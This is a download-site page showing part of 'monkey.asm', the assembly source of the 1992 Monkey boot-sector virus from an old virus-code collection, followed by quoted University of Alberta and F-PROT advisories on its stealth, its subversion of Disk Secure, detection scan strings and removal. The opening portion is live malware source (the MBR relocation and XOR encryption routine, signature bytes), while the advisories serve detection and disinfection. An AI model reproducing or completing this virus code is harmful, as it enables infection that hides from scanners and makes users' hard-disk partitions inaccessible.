⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 monkey.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
    POP   SI    RETPATCH     ENDPSET_HEAD PROC NEAR    PUSH  CS    POP   DS    MOV   SI,OFFSET FLOPPY_HEAD    CMP   DL,80H    JB    SET_HEAD_EXIT    MOV   SI,OFFSET HARD_HEADSET_HEAD_EXIT:    RETSET_HEAD  ENDPINITIAL:      CLI      SUB   BX,BX      MOV   DS,BX      MOV   SS,BX      MOV   SP,7C00H      JMP   HOOK      NOP      NOPENCRPT_PBR:      PUSH    DI      PUSH    CX      PUSH    AX      MOV     DI,BX      MOV     CX,200H      CLDENCRPT_1:      MOV     AL,ES:[DI]ENCRPT_CODE   EQU $ + 0001H      XOR     AL,2EH      STOSB      LOOP    ENCRPT_1      POP     AX      POP     CX      POP     DI      RET             ORG 01F4H;PROG_NAME   DB     "Monkey"PROG_NAME   DB     6dh,8fh,8eh,8bh,85h,99h             ORG 01FAHPROG_SIG    DB     19H,92HPROG_END    EQU   THIS BYTE            ORG 01FCHINT13_ADDR  DB     00H,00H            ORG 01FEHBOOT_SIG    DB     55H,0AAHPROG_TAIL   EQU   THIS BYTEPROG_LEN    EQU   OFFSET PROG_END - OFFSET INT_13CODE      ENDS      END MAIN; from U of ANEW COMPUTER VIRUS THREAT                   Posted: July 9, 1992MONKEY VIRUSES ON PCsThe Monkey viruses are main boot record/boot sector infectors,derived from the Empire D virus. Two variants of the Monkey virushave been identified. Of particular concern is the fact theseviruses can infect computers protected by the Disk Secure program,while causing no noticeable changes. Symptoms of infection forthose computers without Disk Secure include memory reduction andhard drive partitions which are not accessible when booting upwith a floppy disk. When the viruses are active on computerswithout Disk Secure, total memory will be reduced by 1,024 bytes.Monkey viruses destroy partition table data. If an infected systemis booted up from a clean boot disk, DOS claims to be unable toaccess the hard drive partitions. A DIR C: command will return themessage, "Invalid drive specification."DetectionThe simplest method of detection involves recognizing a 1Kdecrease in memory. The DOS commands CHKDSK and MEM will return 1Kless "total conventional memory" than is normal.Of the popular virus scanning products, only F-PROT version 2.04Afinds the Monkey viruses, calling them a "New variant of Stoned."It will identify the virus in memory as well. The F-PROT Virstopdriver does not recognize the Monkey viruses on boot-up.Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSECprogram that will notice the presence of the Monkey viruses. Notethat Disk Secure itself will not detect the infection: it isimportant that the CHKSEC command be called from the autoexec.batfile.As well, a special program to find and remove the Monkey viruses,called KILLMONK, has been written at the University of Alberta.RemovalTo clean a hard disk: If you have previously saved a copy of theclean main boot record (MBR), then this can be restored. (Manyanti-virus products have an automated way of doing this.) If youdon't have a copy of the original MBR, and don't know what valuesyour partition table should have, then the KILLMONK program willrestore the partition table for you.To restore diskettes: Use the KILLMONK program.The newest version of F-PROT (version 2.04A) and the KILLMONKprogram, are both available, free of charge, from Computing andNetwork Services. Bring a formatted diskette to the MicrocomputerDemonstration Centre (MDC), in the basement of the Bookstore, or aready-made diskette can be purchased for $2.00 from the CNS UserSupport Centre at 302 General Services Building. These programscan also be downloaded from the MTS account VIR.;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences)Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC)Date: 20 Jul 92 09:10:09 GMTVirus Name:  MONKEY.1, MONKEY.2  (Empire variants)V Status:    NewDiscovery:   February, 1992Symptoms:    Memory reduction, hard drive partitions not accessible on             floppy bootup.Origin:      Alberta, CanadaEff. Length: 512 bytesType Code:   BPRtS (Boot and Partition table infector - Resident TOM -             Stealth)Detection:   CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONKRemoval:     Cold boot from clean, write-protected floppy, replace MBR(hard             disk) or Boot Sector (floppy).General Comments:The Monkey viruses are Main Boot Record / Boot Sector infectors,derived from the Empire D virus.  Two variants of the Monkey virushave been identified: their most obvious difference is in the initialbytes at offset 0:Monkey.1:    E9 CD 01      (JMP 02D0)Monkey.2:    EB 1E 90      (JMP 0020 ; NOP)Both variants keep the original sector's data at offset 03h - 1fh.  Inboot sectors, this region contains data required to identify thediskette format.  This solves the problem noticed with earliervariants of Empire, whereby infected 720k diskettes were sometimesunreadable.The Monkey viruses take 1k from the top of memory.  When active, totalmemory will be reduced by 1024 bytes.The Monkey viruses use stealth to protect both the MBR and disketteboot sectors.  When active in memory, Int 13h calls cannot access theinfected sector of either hard disks or floppies.The Monkey viruses are not polimorphic.  They do not encode any of thevirus, as was done by some of the earlier Empire variants.  But beforesaving the clean MBR or boot sector to a hiding place, the Monkeyviruses do encode that sector, using an "XOR 2Eh".  This creates aproblem for any disinfecting program that recover the initial bootsector or MBR by copying it from the hiding place.When a hard disk is infected, the encoded MBR is put at side 0,cylinder 0, sector 3.When a floppy diskette is infected, the original boot sector is placedin the bottom sector of the root directory.  This means directoryentries will be lost only if the root directory is nearly full -- morethan 96 entries on double density diskettes, or more than 208 entrieson high density diskettes.  The virus is designed to identify only thefour most common diskette formats.  If the diskette is not of arecognized format, the boot sector is put on side 1, sector 3.  I haveno idea what would happen to a 2.88Mb diskette, but I suspect thevirus would damage the File Allocation Table, causing loss of data.The Monkey viruses do not put any messages to the screen at any time,but the virus code does contain, encrypted, the string "Monkey",followed by bytes 1992h.  It may be significant that the chinese Yearof the Monkey began in February 1992.The most remarkable characteristic of the Monkey viruses is that theywere designed as an attack on Padgett Peterson's "Disk Secure"product.  When a computer is booted from an infected diskette, thevirus first checks whether Disk Secure is on the hard disk.  If it is,the virus puts itself in sector 2, rather than sector 1, and slightlymodifies Disk Secure, so that Disk Secure will load the virus afterDisk Secure has checked the system and loaded itself.  The monkeyviruses install themselves and above Disk Secure, in memory, at offset200h.The Monkey viruses do not save the partition table data in place, soif an infected system is booted from a clean boot disk, DOS claims tobe unable to access the hard drive partitions.  A DIR C: command willreturn "Invalid drive specification".Detection:Of the popular virus scanning products, only F-PROT 2.04 finds theMonkey viruses, calling them a "New variant of stoned".  It willidentify the virus in memory as well.  The F-PROT Virstop driver doesnot recognise the Monkey viruses, on boot-up.Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that willnotice the presence of the Monkey viruses.  Notice that Disk Secureitself will not detect the infection: it is important that the CHKSECcommand be called from the autoexec.bat file.The simplest detection still involves recognizing a 1k decrease inmemory.  CHKDSK and MEM will return 1k less "total conventionalmemory" than normal.A special program to find and remove the Monkey viruses, calledKILLMONK, has been written at the University of Alberta.  I hope tomake this available to the anti-virus community shortly.Removal:The undocumented /MBR option of FDISK does remove the Monkey virusfrom the MBR, provided the computer was booted from a clean floppy,but it does not restore the correct partition table values.  Theproblem is that the partition table is not in place in sector one: thetable is encoded, in sector 3.To clean a hard disk: If you have previously saved a copy of the cleanMBR, then this can be restored.  (Many anti-virus products have anautomated way of doing this.)  If you don't have a copy of theoriginal MBR, and don't know what values your partition table shouldhave, then the KILLMONK program may be what you need.To restore diskettes: Padgett Peterson's FIXFBR works very well,though it doesn't recognize that the disk is infected.  Anotheralternative is the KILLMONK program.Scan String:The following hexidecimal string is in both variants of Monkey.  It isfrom the code the virus uses to recognize itself.   26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61Tim  ;   From F-PROT Name: Monkey Type: Boot  MBR  Stealth The Monkey virus was first discovered in Edmonton, Canada, in the year 1991. The virus spread quickly to USA, Australia and UK. Monkey is one of the most common boot sector viruses. As the name indicates, Monkey is a distant relative of Stoned. Its technical properties make it quite a remarkable virus, however. The virus infects the Master Boot Records of hard disks and the DOS boot records of diskettes, just like Stoned. Monkey spreads only through diskettes. Monkey does not let the original partition table remain in its proper place in the Master Boot Record, as Stoned does. Instead it moves the whole Master Boot Record to the hard disk's third sector, and replaces it with its own code. The hard disk is inaccesible after a diskette boot, since the operating system cannot find valid partition data in the Master Boot Record - attempts to use the hard disk result in the DOS error message "Invalid drive specification". When the computer is booted from the hard disk, the virus is executed first, and the hard disk can thereafter be used normally. The virus is not, therefore, easily noticeable, unless the computer is booted from a diskette. The fact that Monkey encrypts the Master Boot Record besides relocating it on the disk makes the virus still more difficult to remove. The changes to the Master Boot Record cannot be detected while the virus is active, since it rerouts the BIOS-level disk calls through its own code. Upon inspection, the hard disk seems to be in its original shape. The relocation and encryption of the partition table render two often-used disinfection procedures unviable. One of these is the MS-DOS command FDISK /MBR, capable of removing most viruses that infect Master Boot Records. The other is using a disk editor to restore the Master Boot Record back on the zero track. Although both of these procedures destroy the actual virus code, the computer cannot be booted from the hard disk afterwards. There are five different ways to remove the Monkey virus: o       The original Master Boot Record and partition table can         be restored from a backup taken before the infection.         Such a backup can be made by using, for example, the         MIRROR /PARTN command of MS-DOS 5. o       The hard disk can be repartitioned by using the FDISK         program, after which the logical disks must be formatted.         All data on the hard disk will consequently be lost,         however. o       The virus code can be overwritten by using FDISK/MBR, and         the partition table restored manually. In this case, the         partition values of the hard disk must be calculated and         inserted in the partition table with the help of a disk         editor. The method requires expert knowledge of the disk         structure, and its success is doubtful. o       It is possible to exploit Monkey's stealth capabilities         by taking a copy of the zero track while the virus is         active. Since the virus hides the changes it has made,         this copy will actually contain the original Master Boot         Record. This method is not recommendable, because the         diskettes used in the copying may well get infected. o       The original zero track can be located, decrypted and         moved back to its proper place. As a result, the hard         disk is restored to its exact original state. F-PROT uses         this method to disinfect the Monkey virus. It is difficult to spot the virus, since it does not activate in any way.  A one-kilobyte reduction in DOS memory is the only obvious sign of its presence. The memory can be checked with, for instance, DOS's CHKDSK and MEM programs. However, even if MEM reports that the computer has 639 kilobytes of basic memory instead of the more common 640 kilobytes, it does not necessarily mean that the computer is infected. In many computers, the BIOS allocates one kilobyte of basic memory for its own use. The Monkey virus is quite compatible with different diskette types. It carries a table containing data for the most common diskettes. Using this table, the virus is able to move a diskette's original boot record and a part of its own code to a safe area on the diskette. Monkey does not recognize 2.88 megabyte ED diskettes, however, and partly overwrites their File Allocation Tables.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -